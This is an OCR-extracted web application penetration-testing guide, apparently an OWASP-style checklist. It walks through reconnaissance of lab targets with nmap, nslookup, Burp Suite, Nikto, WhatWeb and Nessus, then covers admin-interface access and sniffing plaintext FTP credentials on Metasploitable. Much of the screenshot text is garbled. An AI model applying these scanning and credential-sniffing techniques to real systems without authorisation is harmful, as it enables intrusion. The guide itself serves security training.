company
Top Level Commercial entities (.com) DNS Security
Domain Extensions
Hosting Elus
country

Cloudflare, Inc.

andy.ns.cloudflare.com
dns@cloudflare.com
unknown

whois.cloudflare.com

unknown

Enabled

e Of course, we can use some extension of browser, such as:

@ & https://aspdotnetapp.infosecaddicts.com - U M W

o Wappalyzer

&R
E Analytics Web Server

‘a4 Google Analytics s s {
mt  Web Framework Operating System
Advi s Microsoft ASP.NET 4.0.30319 Ml Windows Server
1 Miscellaneous CDN I
Ired
HTTP/2 . CloudFlare ¥

e Online solutions:



& Hosting History

Netblock owner IP address 0s Web server Last seen Refresh
Cloudflare, Inc. 101 Townsend Street San Francisco CA US 94107 104.25.167.6 unknown cloudflare 5-Aug-2019
References:

e  http://www.terminally-incoherent.com/blog/2007/08/07/few-useful-netcat-tricks/

e  https://www.sans.org/security-resources/sec560/netcat_cheat sheet v1.pdf

e http://netcat.sourceforge.net.

e  https://www.darknet.org.uk/2007/09/httprint-v301-web-server-fingerprinting-tool-download/
e  http://www.net-square.com/httprint.html

3. Review Webserver Metafiles for Information Leakage

How to test:

a. Robots.txt

Web spiders/robots/crawlers retrieve (access) a web page and then recursively traverse hyperlinks

to retrieve further web content. Their accepted behavior is specified by the Robots Exclusion
Protocol of the robots.txt file in the web root directory

Example:

abc.com/robots.txt Tool:

[]  Using wget:
o Example: wget https://infosecaddicts.com/robots.txt

References:

[] http://www.robotstxt.org/

Evident:



https://infosecaddicts.com/robots.txt

&« c (O & https://infosecaddicts.com/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

b. META Tag

Tags are located within the HEAD section of each HTML Document and should be consistent
across a web site in the likely event that the robot/spider/crawler start point does not begin from a
document link other than webroot

Web spiders/robots/crawlers can intentionally ignore the “<META NAME="ROBOTS”>" tag as
the robots.txt file

Tool: BurpSuite

53 hitps://www.facebook.com GET Iac.php 404 330257 HTML php. KhA’ng TA-m Tha®¥y Tr... v 31137835

S5 hitpsi/fties.services.mozila.com  POST  Iv4finks/activity-stream v 200 176 JSON v 54213128137

57 httpsifties.services.mozila.com  POST  Av3/links/ping-centre v 200 176 JSON v 54213128137

62 nhttpsiistatic.xx. focdn.net GET Irsre.phpivalyy/ttWB2hwXYKIK js 200 319112 script is v 31137847 v
< - MO

Resposs

Raw | Headers | Hex | HTML | Render

/><link rel="alternate" media="only screen and (max-width: £40px)" href="https://www. facebook.com/ac.php" /><link rel="alternate" media="handheld" A

href="https://www. facebook.con/ac.php" /><meta name="rohots" content="noodp,noydir" /><meta property="og:title’ content="&#x110;&#x103;ng nhifxlead;p hosfxleb?;c
&#x111;6#x103;ng kexfd; &fxlll;efxlec3d; xem" /><meta property="og:description" content="Xem b&fxe0;i visfxlebf;t, &fixlead;nh vi#xe0; nefixledS;i dung khefxel;c trifixea;n
Facebook." /><link rel="mask-icon" sizes="any" href="/icon.svg" color="§3b5998" /><link rel="shortcut icon" href="https://static.xx.fbedn.net/rsre.php/yl/r/H3nkt0a7zZtg. ico"
/><link type="text/css" rel="stylesheet" href="https://static.xx. fbedn. net/rsrc.php/v3/yp/1/0,cross/Yhe3THve-xW. css" data-bootloader-hash="UJ£jG" data-permanent="1"
crossorigin: />

<link type=
crossorigin:
<link typ.
crossorigin="anonymous" />

<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsre.php/v3/yI/1/0,cross/DCrESEKy2Qp. css" data-bootloader-hash="XnéSH" data-permanent="1"
crossorigin="anonymous" />

ext/css" rel="stylesheet" href="https://static.xx. fbedn. net/rsre.php/v3/yR/1/0,cross/HYuQdrXbalk. css” data-bootloader-hash="KIShh" data-permanent="1"
crossorigin="anonymous" />

<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsre.php/v3/yS/1/0,cross/N82ynGaézFY. css" data-bootloader-hash="X2vKp" data-permanent="1"
crossorigin="anonymous" />

<script sre="https://static.xx.fbedn. net/rsre.php/v3/vy/r/tWBZhwXVKiK.is" data-bootloader-hash="MKciz" crossorigin="anonymous"></script> v

<META NAME:"ROBOTS" ‘ 1 match

l="stylesheet" href="https://static.xx.fbedn.net/rsrc.php/v3/yz/1/0,cross/_LDyKVViWuvD.css" data-bootloader-hash="KUZhX" data-permanent="1"
/>

"anonymous
ext/css"

“"stylesheet" href="https://static.xx.fbcdn.net/rsre.php/v3/yu/1/0,cross/rogludliocia. css" data-bootloader-has!

O£TF" data-permanent

4. Enumerate Applications on Webserver

Base URLs:

e http://www.example.com/webmail
e  http://mail.example.com/

Base ports:

Most basic and the simplest way is using port scanner such as nmap with this options. For
example below:



nmap -sT -sV -p 0-65535 192.168.1.1
Base Domain name:

e There are a number of techniques which may be used to idnetify DNS names to given IP, Which
one is nslookup.

cmd
nslooku

p all

set type=all
example.co

m

e  Web-based DNS search:
o http://searchdns.netcraft.com/?host
e Reverse IP:
o Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (require free
membership)
o MSN search: http://search.msn.com syntax: "ip:x.x.x.x" (without the quotes)
o webhosting info: http://whois.webhosting.info/
o DNSstuff: http://www.dnsstuff.com/

Google hack

Evident:

e Example with nmap:



:~# nmap -sV 104.25.167.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-04 23:43 EDT
map scan report for 104.25.167.6
ost is up (0.093s latency).
ot shown: 997 filtered ports
STATE SERVICE VERSION
BO/tcp open http cloudflare
open ssl/https cloudflare
B080/tcp open http-proxy cloudflare
services unrecognized despite returning data. If you know the service/version,

please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi

=======NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY) ====
ISF-Port80-TCP:V=7.70%I=7%D=8/4%Time=5D47A625%P=x86 64-pc-linux-gnu%r(GetRe
SF:quest, 15F, "HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Mon, \x2005\x2
ISF:0Aug\x202019\x2003:45:39\x20GMT\r\nContent-Type:\x20text/html\r\nConten
ISF:t-Length:\x20171\r\nConnection:\x20close\r\nServer:\x20cloudflare\r\nCF
ISF: -RAY:\x205015c78f8dda82a7-ATL\r\n\r\n<html>\r\n<head><title>400\x20Bad\
SF:x20Request</title></head>\r\n<body\x20bgcolor=\"white\">\r\n<center><hl
SF:>400\x20Bad\x20Request</hl></center>\r\n<hr><center>cloudflare</center>

Example with nslookup:
:~# nslookup

> infosecaddicts.com

o .75.75.75

75.75.75.75#53

Non-authoritative answer:
infosecaddicts.com
104.25.166.6
infosecaddicts.com
104.25.167.6
infosecaddicts.com
2606:4700:20::6819:a706
infosecaddicts.com
2606:4700:20::6819:a606

> set type = all
*** Tnvalid option: type

> 1

e nslookup, dig

e Port scanner: nmap http://www.insecure.org

e Nessus Vulnerability Scanner. http://www.nessus.org
e Search engine: shodan.io, google.

Note for shodan.io: //null



5. Review Webpage Comments and Metadata for Information Leakage

It is very common, and even recommended, for programmers to include detailed comments and
metadata on their source code. However, comments and metadata included into the HTML code
might
reveal internal
information that should not be available to potential attackers. Comments and metadata review
should be done in order to determine if any information is being leaked.

Tools:

o Wget
e Any browser

Q ® view-source:http://192.168.222.136/mutillidae/index.php

</blockquote>
</td>
</tr>

6. Identify Application Entry Points

In request:

e Identify where GETs are used and where POST are use

e Identify ALL parameters used in POST request (including hidden parameter and unhidden
parameter)

e Identify ALL parameters used in GET request (usually after ? mark)

e Identify all parameters of query string

e Pay attention for parameters even if encoded or encrypted and identify which ones account who
are process by application.

In response:
e Identify and note any headers

o Identify where there are any redirects (300 HTTP status code), 400 status code, 403 particular
forbidden and 500 internal server errors during normal response.

Tools:



e Intercept proxy: Burpsuite, paros, webscarab,...
e Browser plugins: Tamper data on firefox,...

Some note:



e To discovering hidden parameters, I can use Burp Suite with following options:

| Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T
[ Intercept T HTTP history T WebSockets history TOphons |

@ Response Modification

@ These settings are used to perform automatic medification of responses.

[ Unhide hidden form fields
@ Prominently highlight unhidden fields

&« C ® @ & https://phpapp.infosecaddicts.com/chekout.php e @ o Ty v oIN @ B a (
Hey ! Shinobibughunter Wel-Come
ACMELAPTOP
Cogores e T e
Acer
BUY
Compaq
Dell Fill buy on Acme
Gateway . .
— Hidden field [bidamount] 2z
Ibm
Sony {ter Name: |H|dden Tield [ltemnamej delll
Toshiba dell
Name: [Hidden field [Biddername] srrosmsmrer
shinobibughunter
E-mail: |H|dden Tleld lema"] shinobibughunter@gmail.cor
shinobibughunter@gmail.com
Phone No: [Hidden field [phone] aisza7s0s
3144237606
Quantity: 1

e  With status code, using Burpsuite to find’em out
JTarget T Proxy T Spider I Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender I Projet

lSiemaplScopel

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding empty folders

@ .’Filter by request type ‘ .,Filter by MIME type ‘ .,Filter by status code
@ [CJ show only in-scope items ) HTML ) Other text ) 2xx [success]
(J Show only requested items & Script (] Images ) 3xx [redirection]
(] Show only parameterized requests & XML ) Flash [ 4xx [request error]
) Hide not-found items [ css () Other binary ) sxx [server error]

e Capture request parameters and response header with Burp Suite



Filter: Hiding CSS, image and general binary content o0 e Burp Proxy HTTP History

# | Host | Method | URL | . £ outof Proxv traff

1 https://phpapp.infosecaddic... POST /chekout.php

15 https://www.google-analytic... GET Jr/collect?v=1& v= lFlI(er,Hiding CSS, image and general binary content

2 https://phpapp.infosecaddic... GET Jcdn-cgi/apps/heal

4 https://phpapp.infosecaddic... GET Jedn-cgi/scripts/S¢ | # | Host | Method | URL | Para... v|Edited |Status |Length | MIMEtype | Extensi

5 https://ajax.cloudflare.com  GET /edn-cgi/scripts/9} 77 https://phpapp.infosecaddic.. POST  /chekout.php v 200 14088 HTML php

6 https://phpapp.infosecaddic... GET Jedn-cgi/apps/bod | 15 https://www.google-analytic... GET [r/collect?v=1& v=j77&a=792673... v

14 https:/ /www.google-analytic... GET /analytics.js 2 https://phpapp.infosecaddic... GET /cdn-cgi/apps/head/ckgyOPiWGjg... 304 711 script Js

LS o |4 https://phpapp.infosecaddic... GET Jedn-cgi/scripts/5c5dd728/cloud... 304 520 script is

1 (s https:/ /ajax.cloudflare.com  GET Jedn-cgi/scripts/95c75768/cloud... 304 514 script is

J’Rmuzst‘[o,iginal response | Auto-modified response | 6 https://phpapp.infosecaddic... GET Jedn-cgifapps /body/nWFfBVgKuw... 304 699 script is
14 https://www.google-analytic... GET Janalytics js 304 184 script is

Params T Headers | Hex

POST request to /chekout.php

Type | Nat

Cookie |

Cookie P RELN J

Cookie _gi

Cookie Pl [ Request | Original response | Auto-modified response |

Cookie _a

Cookie t Headers | Hex | HTML | Render ]

Cookie _s

Cookie T | MName | value

Cookie J T,

Body itef  <hoads

Body bid <acript arc="/cdn-cgifappa/head/ckay0OPiWGigdpuHUCHT®QIBME2ZY. ja"></acript><acript arc="ja/creditcard.ja"

Body bid type="f8e6082b6c13a25193224 £8f -texe/ Javascript ></acripe>
</head>

Body €M |DOCTYPE WOML PUBLIC "-//W3C//OTD WINL 4.01 Transitional//Ew"

Body PR “heep: / fwaw.w3.org/TR/hemld flooae.ded ">

Body em <html><head>

Body ph( <titls>acme laptop</titls>

Bod 4 <meta http-squiv="Contsnt-Type' content="text/html; charsst=iso-8859-1">

Y AU meta name="deacription" content=" online buy">
Body Sub <meta " content=" online buy">

<META nam content="never">
<link href="styls/styls.css" rel="atyleshest" type:
‘ "f8e6082b6c 13225193224 f3f-taxt/

text/cas">
" arc="mds.ja"></acript>

Body encoding: application/x-www-form-urlencoded

7. Map execution paths through application

Before commencing security testing, understanding the structure of the application is paramount.
Without a thorough understanding of the layout of the application, it is unlikely that it will be
tested thoroughly

Test objectives

e Map the target application and understand the principal workflows
Automatic Spider tools

e Burp Suite
o ZAP

Automate Spider example



2 https://phpapp.infoseg

[ How_to_bid.htm

@

vy

v

v
EOBOOIDErN0

acre2.php
career.php
cdn-cgi
chekout.php
index.php
js

login.php
logout.php
md5.js
pay.htm
showfile.php

s 1 [

2 https://phpapp.infosecaddicts.com/

Remove from scope

Actively scan this host
Passively scan this host

Engagement tools [Pro version only]

>

Compare site maps
Expand branch

Expand requested items
Collapse branch

Delete host

Copy URLs in this host
Copy links in this host
Save selected items

Show new site map window

Site map help




v @ https://phpapp.infosecaddicts.com Host | Method | URL | Params | Status 4 | Length | MIME type
>E How_to_bid.htm https://phpapp.infose... POST /chekout.php v 200 14088 HTML
& acreZ.php https://phpapp.infose... GET /chekout.php
[ career.php
¥ [T cdn-cgi
» [ apps
>0
» [ scripts
i chekout.php
itemname=dell1&bidamount=22000&bidder
[ index.php
Y s
[8) creditcard.js
[ login.php
[ logout.php
[8) md5.js
<
— Y _

8. Fingerprint Web Application & Web Appli

cation Framework

Web framework fingerprinting is an important subtask of the information gathering process.
Knowing the type of framework can automatically give a great advantage if such a framework has
already been tested by the penetration tester. It is not only the known vulnerabilities in unpatched
version but specific misconfigurations in the framework and known file structure that makes the

fingerprinting process so important.

Black Box Testing

There are several most common locations to look in in order to define the current framework

e HTTP headers

o Cookies

e HTML source code

e Specific files and folders

HTTP headers

The most basic form of identifying a web application framework is to look at the X-Powered-By

field in the HTTP response header.



O https://phpapp.infosecaddicts.com \
[nly)

» & acre2.php
[ authenticate.php
[ career.php
v [T cdn-cgi
» [ apps
[
» [ scripts
» [ styles
v & chekout.php
4 bidamount=22000&quantity=2&itemname=(
"4 itemname=dell1&bidamount=22000&bidder
[ forgetpassword.php
» [ icons
» [ images
[ index.php
Y[ js
-
bid js
bid1.js
[ bid12js
career js
creditcard.js
register.js

Host | Method | URL | Params | Status 4 | Length | MIMEtype | Title | Comment | Ti
https://phpapp.infose... GET ! 200 14766  HTML Acme laptop 2i
https://phpapp.infose... GET Jacre2.php 200 8799 HTML Acme laptop 2:
https://phpapp.infose... POST Jacre2.php v 200 11406 HTML Acme laptop 2
https://phpapp.infose... GET Jacre2.php?lap=Com... v 200 10110 HTML Acme laptop 2
https://phpapp.infose... GET /acre2.php?lap=acer v 200 11406 HTML Acme laptop 20
https://phpapp.infose... GET Jacre2.php?lap=dell v 200 10065 HTML Acme laptop 2;
https://phpapp.infose... GET Jacre2.php?lap=gatew... v 200 10111 HTML Acme laptop 2;
https://phpapp.infose... GET /acre2.php?lap=hewlett v 200 10112 HTML Acme laptop 2;
https://phpapp.infose... GET Jacre2.php?lap=ibm v 200 10177  HTML Acme laptop 2:
https://phpapp.infose... GET Jacre2.php?lap=sony v 200 10105 HTML Acme laptop 2
https://phpapp.infose... GET Jacre2.php?lap=toshiba v 200 10111 HTML Acme laptop 2
https://phpapp.infose... GET /career.php 200 9796 HTML Acme laptop 2
https://phpapp.infose... GET /cdn-cgifapps/body/... 200 3381 script 2
E1S

Request | Response

Raw | Headers

Hex | HTML Render]

HTTP/1.1 200 OK
Date: Tue,
content-Type:

06 Aug 2019 03:11:24 GNHT
text/html; charaet=uTF-8

connection: close
[k-Powered-By: PHP/5.4.16
Expirea: Thu, 19 Nov 1981 08:52:00 GHT

registerl.js
[ login.php
[ logout.php
md5.js
» & registerl.php

Cache-Control: no-ators, no-cache, must-revalidats, poat-check=0, pre-chack=0
Pragma: no-cache
Strict-Tranaport-Security: max-age=0

X-Content-Type-Optiona: noaniff

Expect-CT: max-age=604800, report-uri="httpsa://report-uri.clovdflare.com/cdn-cgi/beacon/expect-ct"
server: cloudflare

CP-RAY: 501dd2c00e5bbaéd -ATL

D shop.php
» & showfile.php

Cookies

Another similar and somehow more reliable way to determine the current web framework are

Content-Length: 14244

framework- specific cookies.

AN

Illlp}.[[uVW)L.IIIIU)Ek... e JUVVWO L VUINNITIAUIIUTED JADL I =o U~ v [AVV) LI L
_https://dvwsl.inf... |») GET [dvws1/vulnerabilities /xst/xst.php 200 3980
https://dvwsl.infosec... GET /dvws 1 /vulnerabilities /xxe/ 200 3982

rvie
HTML
HTML

niucs
Cros!
XML |

| Request | Response ]

_[RawT Headers T Hex T HTML T Render ]

HTTP/1l.1l 200 OK
Date: Tue,
content-Typa:
Connaction: cloae
X-Powared-By:
Set-Cookie:

Expact-CT:
Server: cloudflare
CF-RAY:

Content-Length: 3527

HTML source code

This technique is based on finding certain patterns in the HTML page source code. We can find a

PHP/5.6.33
StealthiacookiewithXsST=89007506849af1101a65£443£039c02951
Strict-Tranaport-Security:
X-Content-Type-Optiona:
max-age=604300,

noaniff

50le25645b96ba8e-ATL

06 moug 2019 04:07:50 GHT
text/html; charaet=uUTF-8

max-age=0

lot of information which helps a tester to recognize a specific web application.

report-uri="httpa://report-uvri.clouvdflare.comf/cdn-cgi/beacon/expact-ct"



v YN @D ® & «

- C @ @ view-source:https://aspdotnetapp.infosecaddicts.com/Default.aspx

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<script src="/cdn-cgi/apps/head/ckgy0PiWGig9puHUcMTwq3BmE2U. js"></script><script type="£2dc9734121704d84b0d1709-text/javascript">
function openWindow()

window.open("Search.aspx?Type=" + document.getElementById('ctl1l00_ddlAdvSearch').value + "&Word=" + document.getElement
return false;

</script>
<title>
Welcome page
</title><link href="style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<form method="post" action="./Default.aspx" onsubmit="if (!window.__cfRLUnblockHandlers) return false; javascript:return WebForm_ C
<div class="aspNetHidden">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARCUMENT" value="" />

<input type="hidden" nanc="::V1EWSTATE“ id="__ VIEWSTATE" value="/wEPDwUJNzM3NTUyMDEwD2QWAMYPZBYCAgMPZBYIAGCPDxYCHgdWaXNpY¥mxlaGRkA¢



Specific files and folders

Every application has its own specific file and folder structure on the server. We can use tool or
manual access them.

Dirbusting example

e Google hacking technique

https://www.exploit-db.com/ghdb/4675/

< — O ‘ﬂ wordpress.com/xmlrpc.php?rsd f( ‘ — Z\_ |_Q

<?xml version="1.0" encoding="UTF-8"?>
- <rsd xmins="http://archipelago.phrasewise.com/rsd" version="1.0">
- <service>
<engineName>WordPress</engineName:>
<engineLink=https://wordpress.org/ </engineLink>
<homePageLink=http://wordpress.com</homePageLink=>
- <apis>
<api apiLink="https:/ /wordpress.com/xmlrpc.php" preferred="true"
blogID="1" name="WordPress"/>
<api apiLink="https:/ /wordpress.com/xmlrpc.php" preferred="false"
blogID="1" name="Movable Type"/>
<api apiLink="https:/ /wordpress.com/xmlrpc.php" preferred="false"
blogID="1" name="MetaWeblog"/>
<api apiLink="https:/ /wordpress.com/xmlrpc.php" preferred="false"
blogID="1" name="Blogger"/>
<api apiLink="https:/ /twitter-api.wordpress.com/" preferred="false"
blogID="" name="Twitter"/>
</apis>
</service>
</rsd>

e  BurpSuite Intruder

GET /bookdetail.aapx?id=§l§ HTTP/Ll.L

Hoat: aspdotnetapp.infosecaddicta.com

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-aAgent: Mozilla/5.0 (compatible; MSIE 9.0; Windowa WT 6.1; Winéd; x64; Trident/5.0)

Connection: cloae

Referer: httpa://faapdotnetapp.infosecaddicta.com/Defanlt.aapx

Cookie: _ cfduid=dc6029645e59a793349b3b819dae03f6e1564954288; _ga=GAl.2.781573113.1564954291; gid=CGal.2.631839643.1564954291;
PHPSESSID=apk77a2 jhpgdlfrgalijngelgk2; _ avc=4e20d75blécS5ed988ealiSblalaf;

__tawkupid=e::infosecaddicta.com: : AptkfxgFFEGKWhEEKETQE8wvu ki PHURU+580KE £td 825wOcn tPQ+3gNYBMX4cBhX/ /1 :2; _ atripe_mid=b53f835b-625c-4a04-8fe8-075cTbbcaTcf;
_fbp=fb.1.1564955153850.417041806; _gat=1l




LZJ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type
can be customized in different ways.

Payload set: | 1 |v. Payload count: 5 e0e Intruder attack 1

Attack Save Columns

Payload type: | Simple list . Request count: 5
Jmuhs Target | Positions | Payloads | Options
o | Filter: Showing all items
L‘)J Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payl Request “ Payload ‘ Status | Error ‘ Timeout ‘ Length ' Comment
0 200 (@] @] 12291
" 1 ' 500 (@] (8] 5917
Paste . 2 admin 500 (@] (@] 5691
I‘:g“i"r:" 3 login. 500 o O 5691
— $ = 8 8§
Remove =t »
Clear
Common Application Identifiers
Application Keyword
Wordpress <meta name="generator” content="WordPress 3.9.2" />
phpBB <body id="phpbb"”
Mediawiki <meta name="generator” content="MediaWiki 1.21.9" />
Joomla <meta name="generator” content="Joomla! - Open Source Content Management" />
Drupal <meta name="Generator” content="Drupal 7 (http://drupal.org)" />
DotNetNuke DNN Platform - hitp:/iwww.dnnsoftware.com
Framework Cookie name
Zope zope3
CakePHP cakephp
Kohana kohanasession
Laravel laravel_session

Nikto



:~# nikto -h https://aspdotnetapp.infosecaddicts.com
- Nikto v2.1.6

104.25.166.6
aspdotnetapp.infosecaddicts.com

Subject: /OU=Domain Control Validated/OU=PositiveSSL Multi-D
omain/CN=ss1373680.cloudflaressl.com

Ciphers: TLS AES 256 GCM SHA384

Issuer: /C=GB/ST=Greater Manchester/L=Salford/0=COMODO CA
imited/CN=COMODO ECC Domain Validation Secure Server CA 2

+ Message: Multiple IP addresses found: 104.25.166.6, 104.25.167.6
+ Start Time: 2019-08-06 00:29:14 (GMT-4)

+ Server: cloudflare

+ The X-XSS-Protection header is not defined. This header can hint to the user a
gent to protect against some forms of XSS

+ The site uses SSL and the Strict-Transport-Security HTTP header is set with ma
X-age=0.

+ Expect-CT is not enforced, upon receiving an invalid Certificate Transparency
Log, the connection will not be dropped.

+ ALl CGI directories 'found', use '-C none' to test none

+ Hostname 'aspdotnetapp.infosecaddicts.com' does not match certificate's names:

Whatweb
T ——

:~# whatweb aspdotnetapp.infosecaddicts.com
http://aspdotnetapp.infosecaddicts.com [301 Moved Permanently] Country[UNITED ST
ATES][US], HTTPServer[cloudflare], IP[104.25.166.6], RedirectLocation[https://as
pdotnetapp.infosecaddicts.com/], UncommonHeaders|[x-content-type-options,cf-ray]
https://aspdotnetapp.infosecaddicts.com/ [200 OK] ASP_NET[4.0.30319], CloudFlare
, Cookies[ cfduid], Country[UNITED STATES][US], HTTPServer[cloudflare], HttpOnl

y[ cfduid], IP[104.25.166.6], Script[8e4dba6970c3473b017b9671-text/javascript],
Strict-Transport-Security[max-age=0], Title[Welcome page]|[
], UncommonHeaders[x-content-type-options,expect-ct,cf-ray], X-Powe
red-By[ASP.NET]
:~# I

Configuration and Deployment Management Testing

1. Test Network/Infrastructure Configuration
Review of the Application
Architecture Known Server

Vulnerabilities

e Using Nessus Scan for Metasploitable 2, we have some Known vulnerabilities as shown below:



Scans Settings
Sev Name Family Count Name: mtea
Status: Completed
AN Debian OpenSSH/OpenSSL Package Random Number ... Gain a shell remotel 1
n per per g neor ! =al ! y Policy: Advanced Scan
Scanner: Local Scanner
CRITICAL C! C! 1
rexecd Service Detection Service detection Start: Today at 3:14 PM
End: Today at 3:19 PM
AN Rogue Shell Backdoor Detection Backdoors 1 :
Elapsed: 4 minutes
(TN Unix Operating System Unsupported Version Detection General 1
Vulnerabilities
[N \/NC Server ‘password' Password Gain a shell remotely 1
’ ® Critical
High
rlogin Service Detection Service detection 1 Medium

rsh Service Detection

Unsupported Web Server Detection

Administrative Tools

Service detection

Web Servers

e List all the possible administrative interfaces such as:

Local remote

collisions:0 txqueuelen:1000

RX bytes:4268 (4.1 KB)

TX bytes:7260

Interrupt:19 Base address:0x2000

Link encap:Local Loopback
inet addr:127.0.0.1
inetb addr:
UP LOOPBACK RUNNING

collisions:0 txqueuelen:0
RX bytes:19393 (18.9 KB)

mgfadmin@metasploitable:"3
mgfadmin@metasploitable:"3
mgfadmin@metasploitable:"3

msfadmin@metasploitable:

Enter password:

lWelcome to the MyS(QL monitor.

Your MySQL connection id is 12

Server version:
or 'N\h'

for help. Type

Remote access via SFTP

I\C!

Mask:255.0.0.0
::1,128 Scope:Host
MTU:16436
RX packets:92 errors:0 dropped:0 overruns:0 frame:0

TX packets:92 errors:0 dropped:0 overruns:0 carrier:0

~“$ mysql -u root -p
Commands end with

5.0.51a-3ubuntu5 (Ubuntu)

(7.0 KB)

Metric:1

TX bytes:19393 (18.9 KB)

or \g.

to clear the buffer.

® Low
2

Info



By manhpham - msfadmin@192.168.222.151 - WinSCP — O X
- Local Mark Files Commands Session Options Remote Help
[P E& 3 Synchronize 2@ [F @b [57 Queue + Transfer Settings Default - i@~
B msfadmin@192.168.222.151 [ New Session
SigClocalDisk - B[ ie=-= -  BEQE % ([I/--BEF - - A& 2
Upload ~ | [ Edit ~+ ¥ Properties » £[#] ® i@ Download ~ |[# Edit ~ ¥ 5 Properties > i[#] ®
CAUsers\manhpham\
& Size Type ™ || Name - Size Changed A
Parent directory 1 e 5/21/2012 1:36:12 AM
.android File folder 1 . bin 5/14/2012 10:35:33 AM
. AndroidStudio3.0 File folder 1 . boot 5/14/2012 10:36:28 AM
. .gradle File folder 1 [2], cdrom 4/29/2010 3:26:18 AM
VirtualBox File folder 1 | dev 2/4/2018 8:36:40 PM
AndroidStudioProjects File folder 1 | etc 2/4/2018 8:51:11 PM
[25] Contacts File folder g  home 4/16/2010 1:16:02 PM
[ Desktop System Folder 2 | initrd 3/17/2010 5:57:40 AM
Documents System Folder 1 lib 5/14/2012 10:35:22 AM
‘Downloads System Folder 2 . lost+found 3/17/2010 5:55:15 AM
¢ Favorites File folder g . media 3/17/2010 5:55:52 AM
& Links File folder g mnt 4/29/2010 3:16:56 AM
b Music System Folder 9w . opt 3/17/2010 5:57:39 AM v
< > < >
0Bof0Bin0of 19 20 hidden 0B of 20.5KB in 0 of 23
& SFTP-3 3 0:00:49

Access via web interface — such as HTTP basic

authentication Access via WebDAV

v gv

-EEnd

Properties 2

Size Changed

»

»

“ Local Mark Files Commands Session Options Remote Help
‘[ &2 3 Synchronize | [ g [ & S Queue ~ Transfer Settings Default
E 192.168.222.151 ﬁ New Session
Mesktop -EFF - BARAQAL % [/ -BF:
Upload ~ * Edit ~ K A Properties »? £[#] ® i@ Download ~
Ci\Users\ hpham\Desktop
Name - Size Type A || Name -
. Parent directory 2
CEH_Exam File folder 1
demofolder File folder 1
owasp File folder 2
@CEH 03 proj 3.odt 539KB OpenDocumentT.. 1
Cross Site Scripting A... 7,517KB  PDF File 1
CyberSecurityFullSqu... 224KB  Microsoft Excel W... 1
dictionary security.pdf ~ 41,233KB  PDFFile 1
[#] goat.html 330KB HTMLFile 2
ManhPham_Checklist..  2,572KB OpenDocumentS.. 1
mtea_1gki2d.pdf 215KB  PDF File 2
[&] mutillidae.html 1,080KB  HTML File 2
New Text Document.bt OKB Text Document 2v
< > <
0B of 59.2MB in 0 of 18 1hidden 0Bof0Bin0of0

WebDAV )

0:00:33




Access via FTP

By msfadmin - msfadmin@192.168.222.151 - WinSCP - O X
Local Mark Files Commands Session Options Remote Help
[P &= E3 Synchronize 2 | @& 5P Queue - Transfer Settings Default - @~
E msfadmin@192.168.222.151 ﬁ New Session
EMydocume - F] (=~ - HMEQL|% ([(n-BF i+ - - BEQL 7
- . Edit + S Sermes » » Trralaed o Edit + S S » »
C:\Users\manhpham\Documents\ /home/msfadmin/
Name - Size Type (™ || Name - Size Changed
N_Scan File folder 1| | BED
nt check File folder 1 vulnerable 4/28/2010
p File folder 1
Virtual Machines File folder 2
#720171108_NTjapan_N... 527KB  Microsoft Excel W... 1
#120171108_Template_ ... 29KB OpenDocumentT.. 1
%{]Assessment_s&xlsx 355KB  Microsoft Excel W... 1
@jCyberSecurityFuIISolu... 224KB  Microsoft Excel W... 1
@demofile.xlsx 116 KB  Microsoft Excel W... 1
@_ﬁfinal retest.xlsx 33KB Microsoft Excel W... §
@NashTech_CV _Manh... 372KB Microsoft Word 9... 1
@jNTjapan_NashTech_S... 161 KB Microsoft Excel W... 1
v
< > < >
0B of 1.77MB in 0 of 12 5hidden 0Bof0Bin0of1 9 hidden
FTP 0:00:09
Access via SSH

root@ilak:~# ssh 192.168.222.151 -1 msfadmin

msfadmin@192.168.222.151's password:
'Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.

Last login: Sun Feb 4 08:37:36 2018
? 2 f i k
'msfadmin@metasploitable:~$ ' b e

Determine if administrative interfaces are available from an internal network or are also available
from the internet. If available from the internet, determine the mechanisms that control access to
these interface and their associated susceptibilities.




With insecure protocol like ftp, telnet or http basic authentication, easy to sniff
administrator password with Wireshark



14 28.225693023 192.168.222.1 192.168.222.151 TCP 60 61961 — 21 [ACK] Seq=1 Ack=1 Win=65536 Len=0

15 28.226876721 192.168.222.151 alGp) UG ) ol FTP 74 Response: 220 (vsFTPd 2.3.4)

16 28.227093458 192.168.222.1 192.168.222.151 FTP 69 Request: USER msfadmin

17 28.227148746 192.168.222.151 192.168.222.1 TCP 60 21 —~ 61961 [ACK] Seq=21 Ack=16 Win=5856 Len=0
18 28.227150210 192.168.222.151 192.168.222.1 FTP 88 Response: 331 Please specify the password.

19 28.227297993 192.168.222.1 192.168.222.151 FTP 69 Request: PASS msfadmin

Worse, WebDAYV don’t request username and password from client to identifying, so
hacker can upload any malicious files him want.

“ Local Mark Files Commands Session Options Remote Help

